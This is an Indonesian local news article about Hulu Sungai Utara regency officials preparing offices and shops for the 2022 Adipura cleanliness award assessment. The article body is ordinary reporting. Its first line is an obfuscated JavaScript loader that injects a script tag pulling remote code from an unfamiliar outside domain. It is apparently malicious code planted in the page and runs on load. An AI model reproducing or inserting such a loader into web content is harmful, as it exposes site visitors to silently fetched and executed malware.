(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Amuntai Membidik Adipura, Plt Bupati: Perkantoran dan Toko-toko Dijaga Kebersihannya

KANALKALIMANTAN.COM, AMUNTAI – Pelaksana Tugas (Plt) Bupati Hulu Sungai Utara (HSU) Husairi Abdi menekankan perlunya pengelolaan sampah yang maksimal dengan melibatkan semua komponen pemerintah, dunia usaha dan masyarakat.

Hal ini ditegaskannya saat memimpin rapat koordinasi (Rakor) persiapan penilaian Adipura tahun 2022 bersama segenap pimpinan Organisasi Perangkat Daerah (OPD) di gedung arsip lantai II Setda HSU, Rabu (25/5/2022).

Plt Bupati Husairi meminta kepada SKPD menata dan mengelola lingkungan dan kebersihan kantor masing-masing.

“Soal pengelolaan kota bersih dan lingkungan ini bukan dari pemerintah saja, tetapi juga masyarakat, bagaimana melakukan penyadaran kepada masyarakat dan kepada punya toko-toko supaya mengelola persampahan dan kebersihan di titik masing-masing,” kata Husairi.

Menurutnya, adanya Adipura ini adalah bagaimana upaya pemerintah daerah untuk mengelola kebersihan dan lingkungan sebaik mungkin.

Husairi berharap kegiatan ini setidaknya dapat memberikan semangat semua pihak agar menjaga kebersihan lingkungan masing-masing.

“Dalam hal ini mudah-mudahan memulai dengan adanya kegiatan ini, minimal dengan mengundang bapak ibu yang berhadir pada acara ini sebagaimana yang disampaikan oleh Kepala Dinas Perkim Lingkungan Hidup tadi, minimal di kantor masing-masing kondisi kebersihan dan lingkungan betul-betul terjaga. Apalagi yang berkenaan dengan kebersihan, tentunya berkaitan dengan sampah supaya dikelola sebaik mungkin, kapan diambil dan kapan dibuang dan ditempatkan di lingkungannya di masing-masing pihak,” katanya.

“Intinya bagi kita bagaimana cara masing-masing menerapkan lingkungan yang bersih dan sehat jauh pada persampahan, sehingga lingkungannya juga sehat,” imbuhnya.

Sementara itu, Kepala Dinas Perumahan, Kawasan Pemukiman dan Lingkungan Hidup (Disperkim LH) HSU Hermani Johan, mengatakan untuk penilaian Adipura direncanakan pada bulan Juni 2022 mendatang. Oleh karena itu, pihaknya melakukan rapat koordinasi dengan seluruh organisasi perangkat daerah.

“Harapannya nanti ketika dilakukan penilaian kita bisa tentunya mendapatkan nilai maksimal. Karena Adipura ini merupakan kebanggan kita daerah, Mudah-mudahan nantinya bisa bermanfaat bagi kemajuan Kabupaten Hulu Sungai Utara,” harapnya.

Sekadar informasi, Adipura sendiri adalah penghargaan tertinggi di bidang lingkungan yang diberikan oleh Kementrian Lingkungan Hidup dan Kehutanan (KLHK) bagi kota-kota di Indonesia yang dinilai sukses dalam mewujudkan kebersihan dan melakukan upaya pengelolaan lingkungan perkotaan dengan baik.

Adipura bukan hanya penanganan kebersihan atau urusan sampah yang dalam hal ini urusan Dinas Lingkungan Hidup saja, melainkan juga bagaimana upaya pengelolaan sampah dari sumber-sumber sampah permukiman, perkantoran, perdagangan, perindustrian, rumah sakit, sekolah, fasilitas umum dan lain-lainnya. Melibatkan semua stakeholder yaitu komponen pemerintah, dunia usaha dan masyarakat. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie